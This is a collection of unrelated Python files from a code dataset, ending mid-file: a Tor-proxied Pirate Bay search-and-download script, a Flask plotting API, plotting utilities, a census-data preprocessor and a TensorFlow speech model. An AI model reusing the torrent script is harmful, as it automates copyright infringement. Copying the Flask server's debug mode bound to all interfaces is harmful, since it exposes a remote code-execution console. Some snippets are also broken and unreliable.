self.A[a]\r\n if not(i == len(self.A) - 1): # Só coloca a vírgula se não for a última aresta\r\n grafo_str += \", \"\r\n\r\n return grafo_str\r\n\r\n\r\n","sub_path":"Roteiro 3/grafo.py","file_name":"grafo.py","file_ext":"py","file_size_in_byte":15201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"21823244","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport requests\nfrom collections import namedtuple\nimport pexpect\nfrom subprocess import run\nfrom bs4 import BeautifulSoup as bs\nimport re\nimport datetime\nimport pathlib\nimport json\n\n\ndef run_search(query):\n \"\"\"Run search on TPB and return the first page.\"\"\"\n\n\n # Use Tor to keep things private\n url = \"http://uj3wazyk5u4hnvtk.onion/search/{}/0/99/0\".format(query)\n proxies = { 'http': \"socks5h://10.1.0.11:9100\",\n 'https': \"socks5h://10.1.0.11:9100\" }\n\n try:\n page = requests.get(url, proxies=proxies)\n except requests.exceptions.ConnectionError:\n sys.exit(\"Failed to connect to TPB...\")\n\n # Need to do some more error handling\n if page.status_code == 200:\n return page.content\n\n\ndef parse_search_results(html=None):\n \"\"\"Parse the PB search results page.\"\"\"\n\n if html is None:\n html = sys.stdin.read()\n\n soup = bs(html, \"html.parser\")\n lines = soup.find_all(\"tr\")\n\n Magnet = namedtuple(\"Magnet\", \"id description url\")\n\n i = 0\n magnets = []\n for line in lines:\n links = line.find_all('a')\n if len(links) > 3:\n description = links[2].text\n url = links[3].get('href')\n if url[:6] == \"magnet\":\n i += 1\n magnets.append(Magnet(i, description, url))\n return magnets\n\n\ndef choose_magnets(magnets):\n \"\"\"Print the list of returned magnet links for selection.\"\"\"\n\n choice = None\n while choice != 'q':\n\n print()\n print(\"=\"*79)\n print(\"Select a torrent to download\")\n print(\"-\"*79)\n\n for magnet in magnets:\n print(\"{id:2d}. {description}\".format(**(magnet._asdict())))\n\n print(\"-\"*79)\n\n choice = input(\"Select a file to download: \")\n\n try:\n # Process our selection\n if choice != 'q':\n\n choice = int(choice)\n for magnet in magnets:\n\n if magnet.id == choice:\n\n print(\"Sending: {}\".format(magnet.description))\n send_to_deluge(magnet.url)\n\n print(\"=\"*79)\n print()\n\n except ValueError:\n\n print(\"Please Try Again\")\n\n\ndef get_running_torrents():\n output = run([\"ssh\", \"deluge\", \"deluge-console\", \"info\"],\n capture_output=True)\n\n output = output.stdout.decode()\n torrent_list = output.split(\"\\n \\n\")\n torrent_info = parse_torrent_info(torrent_list)\n\n return torrent_info\n\n\ndef parse_torrent_info(torrent_list):\n\n torrent_info = []\n TorrentData = namedtuple(\"TorrentData\", ['name', 'id', 'state'])\n\n\n for torrent in torrent_list:\n for line in torrent.split(\"\\n\"):\n if re.match(\"Name\", line):\n name = line.split(\":\")[1].strip()\n if re.match(\"ID\", line):\n torrent_id = line.split(\":\")[1].strip()\n if re.match(\"State\", line):\n state = line.split(\":\")[1].strip()\n torrent_info.append(torrent_id)\n\n return torrent_info\n\n\ndef auto_download(show=\"Young Sheldon\", episode=\"S02E19\"):\n\n m = re.compile(episode)\n\n search = show + \" \" + episode\n page = run_search(search)\n magnets = parse_search_results(page)\n\n for magnet in magnets:\n description = magnet.description\n url = magnet.url\n if m.search(description):\n start_torrent_info = get_running_torrents()\n print(f\"Found Match: {description}\")\n send_to_deluge(url)\n end_torrent_info = get_running_torrents()\n break\n\n date = datetime.datetime.now()\n date = date.strftime(\"%Y_%m_%d\")\n for torrent in end_torrent_info:\n if not torrent in start_torrent_info:\n fname = f\"downloading/{date}.json\"\n output = {\"show\": show, \"episode\": episode, \"id\": torrent }\n if pathlib.Path(fname).is_file():\n # Load the existing data first\n with open(fname, \"r\") as fd:\n data = json.loads(fd.read())\n\n # Output new data\n data.append(output)\n with open(fname, \"w\") as fd:\n fd.write(json.dumps(data))\n else:\n with open(fname, \"w\") as fd:\n fd.write(json.dumps([output], indent=4))\n\n\n\ndef send_to_deluge(magnet):\n \"\"\"Log into the Deluge server and send the magnet link.\"\"\"\n\n # This is so we can log in to the server\n if 'SSH_AUTH_SOCK' not in os.environ:\n\n print(\"Please start SSH agent first\")\n sys.exit()\n\n else:\n\n server = \"deluge\"\n child = pexpect.spawn(\"/usr/bin/ssh\", [server])\n child.expect(\"james@torrent:~\\$ \")\n child.sendline(\"deluge-console add '{}'\\r\".format(magnet))\n child.expect(\"james@torrent:~\\$ \")\n child.close()\n\n\ndef main():\n \"\"\"Run a search on TPB and send links for download.\"\"\"\n\n auto_download()\n # Make sure we actually have a search term\n # if len(sys.argv) > 1:\n\n # search = \" \".join(sys.argv[1:])\n # page = run_search(search)\n # magnets = parse_search_results(page)\n # choose_magnets(magnets)\n\n\nif __name__ == \"__main__\":\n\n try:\n main()\n except KeyboardInterrupt:\n print()\n","sub_path":"torconsole.py","file_name":"torconsole.py","file_ext":"py","file_size_in_byte":5330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"513088421","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3351)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/arf_tools/src/display.py\n# Compiled at: 2018-04-13 18:30:53\n# Size of source mod 2**32: 7804 bytes\n\"\"\" This module contains all methods related to displaying data and plotting\nstuff.\n\"\"\"\nimport matplotlib.pyplot as plt, matplotlib.image as mpimg, numpy as np\nfrom mpl_toolkits.mplot3d import Axes3D\nimport seaborn as sns\nfrom data_generation import make_grid\nPARIS_MAP = 'res/paris-48.806-2.23--48.916-2.48.jpg'\nXMIN, XMAX = (2.23, 2.48)\nYMIN, YMAX = (48.806, 48.916)\n\ndef plot_histo_2D(x_histo, f_histo, grad_histo, show=True):\n \"\"\" Plot un graphe en 2D représentant les valeurs de f et du gradient de\n f en fonction des itérations de x.\n \"\"\"\n plt.plot(x_histo, f_histo, '+', label='f(x)')\n plt.plot(x_histo, grad_histo, '*', label='∇f(x)')\n plt.xlim(min(x_histo), max(x_histo))\n plt.ylim(min(min(f_histo), min(grad_histo)), max(max(f_histo), max(grad_histo)))\n plt.xlabel('x')\n plt.ylabel('f(x) et ∇f(x)')\n plt.legend(loc=2)\n if show:\n plt.show()\n\n\ndef plot_opti_2D(fonc, x_histo, f_histo, show=True):\n \"\"\" Plot un graphe en 2D représentant la fonction f ainsi que la\n trajectoire de l'optimisation de f.\n \"\"\"\n plt.plot(x_histo, fonc(x_histo), label='f(x)')\n plt.plot(x_histo, f_histo, '+', label='f(x^t)')\n plt.xlim(min(x_histo), max(x_histo))\n plt.ylim(min(f_histo), max(f_histo))\n plt.xlabel('x')\n plt.ylabel('f(x) et f(x^t)')\n plt.legend(loc=3)\n if show:\n plt.show()\n\n\ndef plot_logx_2D(x_histo, show=True):\n \"\"\" Plot un graphe en 2D représentant l'evolution de la distance\n logarithmique de chaque x avec le x final en fonction des itérations.\n \"\"\"\n x_star = x_histo[(-1)]\n logx = np.array([np.log(np.linalg.norm(x - x_star)) for x in x_histo])\n plt.plot(range(len(x_histo)), logx, label='log(||x^t − x^*||)')\n plt.xlim(0, len(x_histo) - 1)\n plt.xlabel('t')\n plt.ylabel('log(||x^t − x^*||)')\n plt.legend(loc=3)\n if show:\n plt.show()\n\n\ndef plot_3D(x_histo, f_histo, grad_histo, fonc, show=True):\n grid, xx, yy = make_grid(xmin=-1, xmax=1, ymin=-1, ymax=1)\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n result_fonc = np.array([fonc(*case) for case in grid])\n surf = ax.plot_surface(xx, yy, result_fonc.reshape(xx.shape), rstride=1, cstride=1, cmap=cm.gist_rainbow, linewidth=0, antialiased=False)\n fig.colorbar(surf)\n ax.plot(x_histo[:, 0], x_histo[:, 1], f_histo.ravel(), color='black')\n if show:\n plt.show()\n\n\ndef plot_poi_density_in_map(estimateur, data, type_poi, steps=100, xmin=XMIN, xmax=XMAX, ymin=YMIN, ymax=YMAX, transparence=0.3, taille=0.8, color='r', title=None):\n \"\"\" Affiche une prediction d'un modèle estimant une densité de\n probabilité d'un POI.\n ATTENTION : Le modèle doit posséder une méthode `predict` pour sa\n prediction, et elle doit renvoyer une np.array.\n \"\"\"\n xx, yy = np.meshgrid(np.linspace(xmin, xmax, steps), np.linspace(ymin, ymax, steps))\n grid = np.c_[(yy.ravel(), xx.ravel())]\n prediction = estimateur.predict(grid).reshape(steps, steps)\n plot_poi_in_map(data, type_poi, prediction, transparence=transparence, taille=taille, color=color, title=title)\n\n\ndef plot_poi_in_map(data, type_poi, prediction=None, xmin=XMIN, xmax=XMAX, ymin=YMIN, ymax=YMAX, transparence=0.3, taille=1, color='r', title=None, show=True):\n \"\"\" Plot la carte de paris, les POI et optionnellement une estimation de\n densité sur une figure matplotlib.\n \"\"\"\n plt.ion()\n plt.figure()\n plot_map()\n plot_poi(data, type_poi, transparence=transparence, taille=taille, color=color)\n if prediction is not None:\n plot_densite(prediction, transparence=transparence)\n plt.xlim(xmin, xmax)\n plt.ylim(ymin, ymax)\n if title:\n plt.title(title)\n else:\n plt.title('Estimation de densité pour le POI {poi}'.format(poi=type_poi))\n if show:\n plt.show(block=True)\n\n\ndef plot_map(paris_map=PARIS_MAP, xmin=XMIN, xmax=XMAX, ymin=YMIN, ymax=YMAX, show=False):\n \"\"\" Plot la carte de Paris sur une figure matplotlib. \"\"\"\n plt.imshow(mpimg.imread(paris_map), extent=[xmin, xmax, ymin, ymax], aspect=1.5)\n if show:\n plt.show(block=True)\n\n\ndef plot_poi(data, type_poi, transparence=0.3, taille=1, color='r', show=False):\n \"\"\" Plot des POI sur une figure matplotlib. \"\"\"\n geo_mat = _compute_geo_mat(data, type_poi)\n plt.scatter(geo_mat[:, 1], geo_mat[:, 0], alpha=transparence, s=taille, c=color)\n if show:\n plt.show(block=True)\n\n\ndef plot_densite(prediction, xmin=XMIN, xmax=XMAX, ymin=YMIN, ymax=YMAX, transparence=0.3, show=False):\n \"\"\" Plot une prediction d'un modèle estimant une densité de\n probabilité sur une figure matplotlib.\n \"\"\"\n plt.imshow(prediction, extent=[xmin, xmax, ymin, ymax], interpolation='none', alpha=transparence, origin='lower')\n plt.colorbar()\n if show:\n plt.show(block=True)\n\n\ndef _compute_geo_mat(data, type_poi):\n geo_mat = np.zeros((len(data), 2))\n for i, (x, y) in enumerate(data):\n geo_mat[i, :] = (\n x, y)\n\n return geo_mat\n\n\ndef plot_error(datax, datay, f, w_histo=None, step=10, show=False):\n grid, x1list, x2list = make_grid(xmin=-4, xmax=4, ymin=-4, ymax=4)\n plt.contourf(x1list, x2list, np.array([f(datax, datay, w) for w in grid]).reshape(x1list.shape), 25)\n plt.colorbar()\n if w_histo is not None:\n pass\n if show:\n plt.show()\n\n\ndef plot_data(data, labels=None):\n \"\"\"\n Affiche des donnees 2D\n :param data: matrice des donnees 2d\n :param labels: vecteur des labels (discrets)\n :return:\n \"\"\"\n cols = [\n 'red', 'green', 'blue', 'orange', 'black', 'cyan']\n marks = ['.', '+', '*', 'o', 'x', '^']\n if labels is None:\n plt.scatter(data[:, 0], data[:, 1], marker='x')\n return\n for i, l in enumerate(sorted(list(set(labels.flatten())))):\n plt.scatter(data[(labels == l, 0)], data[(\n labels == l, 1)], c=cols[i], marker=marks[i])\n\n\ndef plot_frontiere(data, f, step=20):\n \"\"\" Trace un graphe de la frontiere de decision de f\n :param data: donnees\n :param f: fonction de decision\n :param step: pas de la grille\n :return:\n \"\"\"\n grid, x, y = make_grid(data=data, step=step)\n plt.contourf(x, y, f(grid).reshape(x.shape), colors=('gray', 'blue'), levels=[-1, 0, 1])\n\n\ndef show_usps(data, show=True):\n plt.imshow(data.reshape((16, 16)), interpolation='nearest', cmap='gray')\n if show:\n plt.show()\n\n\ndef show_argmax_pixel_classes(data, show=True):\n sns.heatmap(data.reshape((16, 16)), annot=True, fmt='d', vmin=0, vmax=9, cbar=False, cmap='YlGnBu')\n if show:\n plt.xticks([], [])\n plt.yticks([], [])\n plt.show()\n\n\nif __name__ == '__main__':\n pass","sub_path":"pycfiles/arf_tools-1.0.0-py3.5/display.cpython-35.py","file_name":"display.cpython-35.py","file_ext":"py","file_size_in_byte":6952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"233404562","text":"from __future__ import print_function\n#Note: the proper name of this doc is ();#!, but windows doesn't let certain symbols occur in filenames\n\ndef lex(prog):\n return [x for x in prog]\n\ndef run(prog):\n loops = []\n prog = lex(prog)\n i = 0\n while i < len(prog):\n c = prog[i]\n\n if c == '(':\n loops.append(i)\n elif c == ')':\n i = loops.pop()-1\n elif c == ':':\n print(prog[i+1], end='')\n elif c == ';':\n prog[i+2] = raw_input()[0]\n elif c == '+':\n prog[i-1] = chr(ord(prog[i-1])+1)\n elif c == '-':\n prog[i-1] = chr(ord(prog[i-1])-1)\n elif c == '#':\n loops = run(raw_input()[0])\n elif c == '?':\n if c in '():;+-#?!':\n return loops\n elif c == '!':\n return loops\n i+=1\n return loops\n\nrun(raw_input('Program: '))\n","sub_path":"Symbols.py","file_name":"Symbols.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"523425055","text":"import numpy as np\nimport os\n\ndef get_dir(relative_path):\n return os.path.join(os.path.dirname(__file__), relative_path)\n\ncolumns = [\n {\n 'label': 'age',\n 'coltype': 'continuous',\n 'bins': range(15, 91, 15)\n },\n {\n 'label': 'workclass',\n 'coltype': 'categorical',\n 'values': ['Private', 'Self emp not inc', 'Self emp inc', 'Federal gov', 'Local gov', 'State gov', 'Without pay', 'Never worked']\n },\n {\n 'label': 'fnlwgt',\n 'coltype': 'continuous',\n 'bins': range(0, 1500001, 100000)\n },\n {\n 'label': 'education',\n 'coltype': 'categorical',\n 'values': ['Bachelors', 'Some college', '11th', 'HS grad', 'Prof school', 'Assoc acdm', 'Assoc voc', '9th', '7th 8th', '12th', 'Masters', '1st 4th', '10th', 'Doctorate', '5th 6th', 'Preschool']\n },\n {\n 'label': 'education_num',\n 'coltype': 'continuous',\n 'bins': range(0, 17, 2)\n },\n {\n 'label': 'marital_status',\n 'coltype': 'categorical',\n 'values': ['Married civ spouse', 'Divorced', 'Never married', 'Separated', 'Widowed', 'Married spouse absent', 'Married AF spouse']\n },\n {\n 'label': 'occupation',\n 'coltype': 'categorical',\n 'values': ['Tech support', 'Craft repair', 'Other service', 'Sales', 'Exec managerial', 'Prof specialty', 'Handlers cleaners', 'Machine op inspct', 'Adm clerical', 'Farming fishing', 'Transport moving', 'Priv house serv', 'Protective serv', 'Armed Forces']\n },\n {\n 'label': 'relationship',\n 'coltype': 'categorical',\n 'values': ['Wife', 'Own child', 'Husband', 'Not in family', 'Other relative', 'Unmarried']\n },\n {\n 'label': 'race',\n 'coltype': 'categorical',\n 'values': ['White', 'Asian Pac Islander', 'Amer Indian Eskimo', 'Other', 'Black']\n },\n {\n 'label': 'sex',\n 'coltype': 'categorical',\n 'values': ['Female', 'Male']\n },\n {\n 'label': 'capital_gain',\n 'coltype': 'continuous',\n 'bins': range(0, 10001, 5000)\n },\n {\n 'label': 'capital_loss',\n 'coltype': 'continuous',\n 'bins': range(0, 4501, 500)\n },\n {\n 'label': 'hours_per_week',\n 'coltype': 'continuous',\n 'bins': range(0, 161, 10)\n },\n {\n 'label': 'native_country',\n 'coltype': 'categorical',\n 'values': ['United States', 'Cambodia', 'England', 'Puerto Rico', 'Canada', 'Germany', 'Outlying US(Guam USVI etc)', 'India', 'Japan', 'Greece', 'South', 'China', 'Cuba', 'Iran', 'Honduras', 'Philippines', 'Italy', 'Poland', 'Jamaica', 'Vietnam', 'Mexico', 'Portugal', 'Ireland', 'France', 'Dominican Republic', 'Laos', 'Ecuador', 'Taiwan', 'Haiti', 'Columbia', 'Hungary', 'Guatemala', 'Nicaragua', 'Scotland', 'Thailand', 'Yugoslavia', 'El Salvador', 'Trinadad&Tobago', 'Peru', 'Hong', 'Holand Netherlands']\n },\n {\n 'label': 'classification',\n 'coltype': 'categorical',\n 'values': ['<=50K','>50K']\n }\n ]\n\nnormalized_data = []\n\nwith open(get_dir('raw/adult.data.txt'), 'r') as data:\n for line in data:\n line_values = line.strip().split(',')\n normalized_line = []\n for i, column in enumerate(columns):\n normalized_value = line_values[i]\n\n if column['coltype'] == 'categorical' and normalized_value != '?':\n normalized_value = column['values'].index(normalized_value)\n elif column['coltype'] == 'continuous' and normalized_value != '?':\n normalized_value = int(normalized_value)\n else:\n normalized_value = -1\n normalized_line.append(normalized_value)\n\n normalized_data.append(normalized_line)\n\ndata_array = np.array([np.array(row) for row in normalized_data])\nexport_data = np.empty((len(normalized_data), len(columns)),dtype=np.int8)\n\nfor i, column in enumerate(columns):\n column_data = data_array[:, i]\n export_data[:, i] = column_data\n\n if column['coltype'] == 'continuous':\n label = column['label']\n bins = column['bins']\n export_data[:, i] = np.digitize(export_data[:, i], bins)\n export_data[:, i][np.where(export_data[:, i] == len(bins))] = -1\n\n\nclassification_column = export_data[:, -1].T\nclassification_column.shape = (classification_column.shape[0], 1)\nexport_data = np.concatenate((classification_column, export_data[:, :-1]), axis=1)\n\nheader = 'classification,'\nheader += ','.join([column['label'] for column in columns[:-1]])\n\nnp.savetxt(get_dir('adult_data.csv'), export_data.astype(np.int8), fmt='%d', delimiter=',', header=header, comments='')\n\nlabels = []\nfor column in columns:\n if column['coltype'] == 'categorical':\n column_labels = [column['label']] + column['values']\n else:\n column_labels = [column['label']]\n previous_value = column['bins'][0]\n for i, value in enumerate(column['bins']):\n if i == 0:\n continue\n\n column_labels.append('{} - {}'.format(previous_value, value - 1))\n previous_value = value\n column_labels.append('>= {}'.format(previous_value))\n labels.append(','.join(column_labels))\n\nexport_labels = [labels[-1]] + labels[:-1]\n\nwith open(get_dir('adult_labels.csv'), 'w') as label_file:\n label_file.write('\\n'.join(export_labels))\n label_file.close()\n","sub_path":"data/adult/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":5692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"361488681","text":"\"\"\"The Algo Test API.\nImpl: \n1. pandas to HTML Table \n2. mplfinance img to web render \n\"\"\"\n\n# pylint: disable=broad-except\n\nfrom flask import Flask, abort, jsonify, request, send_file, make_response \nimport logically.datasource2 as data\nimport logically.algo1 as algo1\nimport pandas as pd \n\npd.options.display.float_format = '{:,.2f}'.format\n\n# from rq.job import Job\n# from redis_resc import redis_conn, redis_queue\n\n# from functions import some_long_function\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n \"\"\"Show the app is working.\"\"\"\n return \"Running!\"\n\n@app.route(\"/data\")\ndef getTICK():\n symbol = request.args.get('symbol')\n # print (\"got Sym\", symbol)\n p = data.getData(symbol, bars=(-300,None))\n # print (p)\n \n \"\"\"Show the app is working.\"\"\"\n return symbol + \"\" + p.sort_index(axis=0, ascending=False).to_html(); \n\n@app.route(\"/live\")\ndef getLiveTICK():\n symbol = request.args.get('symbol')\n print (\"Got Sym\", symbol)\n p = None\n if symbol == \"\" : symbol = None\n if 'symbol' in request.args and symbol is not None: \n p = data.getLiveData(symbol, bars=(-50,None), period=\"10d\")\n else : \n p = data.getLiveData(bars=(-50,None))\n symbol = 'SPY'\n print (p) # test print df \n \n \"\"\"Show the app is working.\"\"\"\n if p is None:\n return \"NOT FOUND\" \n else : \n return symbol + \"\" + p.sort_index(axis=0, ascending=False).to_html()\n\n######################### PLOTTING API TESTS ########################\n\n@app.route(\"/showplot\")\ndef plotfig():\n p = None\n nbar = None\n symbol = request.args.get('symbol')\n interval = request.args.get('interval')\n nbar= request.args.get('bars')\n print (\"Got Sym\", symbol)\n \n if symbol == \"\" : symbol = None\n if 'symbol' not in request.args and symbol == None: \n symbol = 'SPY'\n if 'interval' not in request.args and interval == None: \n interval = '4H'\n if 'bars' not in request.args and nbar== None: \n nbar= 50\n nbar = -1*int(nbar)\n symbol = str(symbol).upper()\n # Generate the figure from Algo return \n fig = algo1.AlgoImage(symbol=symbol, interval=interval, bars=(nbar, None), full= True if -nbar>200 else False)\n\n # Save it to a temporary buffer.\n buf = io.BytesIO()\n fig.savefig(buf, format=\"png\", dpi=100, pad_inches= 0, transparent=True)\n # Embed the result in the html output.\n data = base64.b64encode(buf.getbuffer()).decode(\"ascii\")\n return f\" \"\n \n # # Canvas approach \n # canvas = FigureCanvas(fig)\n # output = io.BytesIO()\n # canvas.print_png(output)\n # response = make_response(output.getvalue())\n # response.mimetype = 'image/png'\n # return response\n\n\n\n@app.route(\"/showplot2\")\ndef plotfig2():\n p = None\n nbars = None\n nbare = None\n symbol = request.args.get('symbol')\n interval = request.args.get('interval')\n nbars= request.args.get('bars')\n nbare= request.args.get('bare')\n print (\"Got Sym\", symbol)\n \n if symbol == \"\" : symbol = None\n if 'symbol' not in request.args and symbol == None: \n symbol = 'SPY'\n if 'interval' not in request.args and interval == None: \n interval = '4H'\n if 'bars' not in request.args and nbars== None: \n nbars= 50\n if 'bare' not in request.args and nbare== None: \n nbare= 50\n nbar = int(nbare)- int(nbars)\n if nbar < 0 : return \"ERROR; Period Close is before Beginning\"\n nbars = int(nbars)\n nbare = int(nbare)\n \n # Generate the figure from Algo return \n fig = algo1.AlgoImage(symbol=symbol, interval=interval, bars=(nbars, nbare), full= True if nbar>200 else False, live=False)\n\n # Save it to a temporary buffer.\n buf = io.BytesIO()\n fig.savefig(buf, format=\"png\", dpi=100, pad_inches= 0, transparent=True)\n # Embed the result in the html output.\n data = base64.b64encode(buf.getbuffer()).decode(\"ascii\")\n return f\" \"\n \n # # Canvas approach \n # canvas = FigureCanvas(fig)\n # output = io.BytesIO()\n # canvas.print_png(output)\n # response = make_response(output.getvalue())\n # response.mimetype = 'image/png'\n # return response\n\n\n\n\n\n######################### PLOTTING API TESTS #########################\n\nimport random\nimport io\nimport matplotlib.pyplot as plt\n\n@app.route('/plottest')\ndef plotTest1():\n # fig = Figure()\n f, axis = plt.subplots(figsize=(11, 9))\n\n xs = range(100)\n ys = [random.randint(1, 50) for x in xs]\n\n axis.plot(xs, ys)\n \n # here is the trick save your figure into a bytes object and you can afterwards expose it via flas\n bytes_image = io.BytesIO()\n plt.savefig(bytes_image, format='png')\n bytes_image.seek(0)\n return send_file(bytes_image, \n attachment_filename='plot.png',\n mimetype='image/png')\n\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\n\n@app.route('/canvastest')\ndef plotTest2():\n fig = Figure()\n axis = fig.add_subplot(1, 1, 1)\n\n xs = range(100)\n ys = [random.randint(1, 50) for x in xs]\n\n axis.plot(xs, ys)\n canvas = FigureCanvas(fig)\n output = io.BytesIO()\n canvas.print_png(output)\n response = make_response(output.getvalue())\n response.mimetype = 'image/png'\n return response\n\n\nimport base64\n\n@app.route(\"/matplot\")\ndef hello():\n # Generate the figure **without using pyplot**.\n fig = Figure()\n ax = fig.subplots()\n ax.plot([1, 2])\n # Save it to a temporary buffer.\n buf = io.BytesIO()\n fig.savefig(buf, format=\"png\")\n # Embed the result in the html output.\n data = base64.b64encode(buf.getbuffer()).decode(\"ascii\")\n return f\" \"\n\n\n\n\n# Ref to this library for Python Web API Plotting \n# >>>>>>>>>>>>>>>>> http://www.pygal.org/en/stable/\n# >>>>>>>>>>>>>>>>> https://github.com/zvapa/candlestick-chart-with-slider\n# https://towardsdatascience.com/visualizing-stock-trading-agents-using-matplotlib-and-gym-584c992bc6d4\n\n\n\n\n# if __name__ == \"__main__\":\n# # app.run(debug=True)\napp.run(host=\"0.0.0.0\", port=9500, debug=True)","sub_path":"app_web/testLogic_api.py","file_name":"testLogic_api.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"167284214","text":"import tensorflow as tf\nfrom tensorflow.nn.rnn_cell import LSTMStateTuple\n\nfrom las.ops import lstm_cell\n\n\ndef reader(encoder_inputs,\n source_sequence_length,\n mode,\n hparams, target_vocab_size):\n encoder_features = tf.one_hot(encoder_inputs, target_vocab_size)\n\n forward_cell_list, backward_cell_list = [], []\n for layer in range(hparams.num_layers):\n with tf.variable_scope('fw_cell_{}'.format(layer)):\n cell = lstm_cell(hparams.num_units, hparams.dropout, mode)\n\n forward_cell_list.append(cell)\n\n with tf.variable_scope('bw_cell_{}'.format(layer)):\n cell = lstm_cell(hparams.num_units, hparams.dropout, mode)\n\n backward_cell_list.append(cell)\n\n forward_cell = tf.nn.rnn_cell.MultiRNNCell(forward_cell_list)\n backward_cell = tf.nn.rnn_cell.MultiRNNCell(backward_cell_list)\n\n encoder_outputs, encoder_state = tf.nn.bidirectional_dynamic_rnn(\n forward_cell,\n backward_cell,\n encoder_features,\n sequence_length=source_sequence_length,\n dtype=tf.float32)\n\n encoder_outputs = tf.concat(encoder_outputs, -1)\n\n return (encoder_outputs, source_sequence_length), encoder_state\n\n\ndef speller(encoder_outputs,\n encoder_state,\n decoder_inputs,\n source_sequence_length,\n target_sequence_length,\n mode,\n hparams):\n\n batch_size = tf.shape(encoder_outputs)[0]\n beam_width = hparams.beam_width\n\n if mode == tf.estimator.ModeKeys.PREDICT and beam_width > 0:\n source_sequence_length = tf.contrib.seq2seq.tile_batch(\n source_sequence_length, multiplier=beam_width)\n encoder_state = tf.contrib.seq2seq.tile_batch(\n encoder_state, multiplier=beam_width)\n batch_size = batch_size * beam_width\n\n def embedding_fn(ids):\n # pass callable object to avoid OOM when using one-hot encoding\n if hparams.embedding_size != 0:\n target_embedding = tf.get_variable(\n 'target_embedding', [\n hparams.target_vocab_size, hparams.embedding_size],\n dtype=tf.float32, initializer=tf.contrib.layers.xavier_initializer())\n\n return tf.nn.embedding_lookup(target_embedding, ids)\n else:\n return tf.one_hot(ids, hparams.target_vocab_size)\n\n cell_list = []\n for layer in range(hparams.num_layers):\n with tf.variable_scope('decoder_cell_'.format(layer)):\n cell = lstm_cell(hparams.num_units * 2, hparams.dropout, mode)\n cell_list.append(cell)\n decoder_cell = tf.nn.rnn_cell.MultiRNNCell(cell_list)\n\n projection_layer = tf.layers.Dense(\n hparams.target_vocab_size, use_bias=True, name='projection_layer')\n\n initial_state = tuple([LSTMStateTuple(c=tf.concat([es[0].c, es[1].c], axis=-1),\n h=tf.concat([es[0].h, es[1].h], axis=-1))\n for es in encoder_state[-hparams.num_layers:]])\n\n maximum_iterations = None\n if mode != tf.estimator.ModeKeys.TRAIN:\n max_source_length = tf.reduce_max(source_sequence_length)\n maximum_iterations = tf.to_int32(tf.round(tf.to_float(\n max_source_length) * hparams.decoding_length_factor))\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n decoder_inputs = embedding_fn(decoder_inputs)\n\n if hparams.sampling_probability > 0.0:\n helper = tf.contrib.seq2seq.ScheduledEmbeddingTrainingHelper(\n decoder_inputs, target_sequence_length,\n embedding_fn, hparams.sampling_probability)\n else:\n helper = tf.contrib.seq2seq.TrainingHelper(\n decoder_inputs, target_sequence_length)\n\n decoder = tf.contrib.seq2seq.BasicDecoder(\n decoder_cell, helper, initial_state, output_layer=projection_layer)\n\n elif mode == tf.estimator.ModeKeys.PREDICT and beam_width > 0:\n start_tokens = tf.fill(\n [tf.div(batch_size, beam_width)], hparams.sos_id)\n\n decoder = tf.contrib.seq2seq.BeamSearchDecoder(\n cell=decoder_cell,\n embedding=embedding_fn,\n start_tokens=start_tokens,\n end_token=hparams.eos_id,\n initial_state=initial_state,\n beam_width=beam_width,\n output_layer=projection_layer)\n else:\n start_tokens = tf.fill([batch_size], hparams.sos_id)\n\n helper = tf.contrib.seq2seq.GreedyEmbeddingHelper(\n embedding_fn, start_tokens, hparams.eos_id)\n\n decoder = tf.contrib.seq2seq.BasicDecoder(\n decoder_cell, helper, initial_state, output_layer=projection_layer)\n\n decoder_outputs, final_context_state, final_sequence_length = tf.contrib.seq2seq.dynamic_decode(\n decoder, maximum_iterations=maximum_iterations)\n\n return decoder_outputs, final_context_state, final_sequence_length\n","sub_path":"text_ae/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"34194868","text":"# 1. Реализовать класс Matrix (матрица). Обеспечить перегрузку конструктора класса (метод init()), который должен\n# принимать данные (список списков) для формирования матрицы.\n# Подсказка: матрица — система некоторых математических величин, расположенных в виде прямоугольной схемы.\n# Примеры матриц вы найдете в методичке.\n\n# Следующий шаг — реализовать перегрузку метода str() для вывода матрицы в привычном виде.\n# Далее реализовать перегрузку метода add() для реализации операции сложения двух объектов класса Matrix (двух матриц).\n# Результатом сложения должна быть новая матрица.\n# Подсказка: сложение элементов матриц выполнять поэлементно — первый элемент первой строки первой матрицы складываем с\n# первым элементом первой строки второй матрицы и т.д.\n\n\nclass Matrix:\n def __init__(self, matrix_to_work): # принимаем сюда список списков ( одну(!) матрицу)\n self.matrix_source = matrix_to_work # матрицу из принятого аргументы обязательно переношу в переменную класса\n\n def __add__(self, other): # сюда передаем первую матрицу и принимаем вторую матрицу для сложения с первой\n result = \"\" # инициализация строки, которая в итоге станет результатом\n if len(self.matrix_source) == len(other.matrix_source): # сравнить размер слагаемых матриц\n for line_1, line_2 in zip(self.matrix_source, other.matrix_source):\n if len(line_1) != len(line_2): # и если размер не равен\n return 'Несовпадени�� размеров матриц' # как минимум уведомить пользователя об этом\n # сложить каждое число одной матрицы с каждым числом второй матрицы, находящимся в такой же позиции\n summed_line = [x + y for x, y in zip(line_1, line_2)]\n # 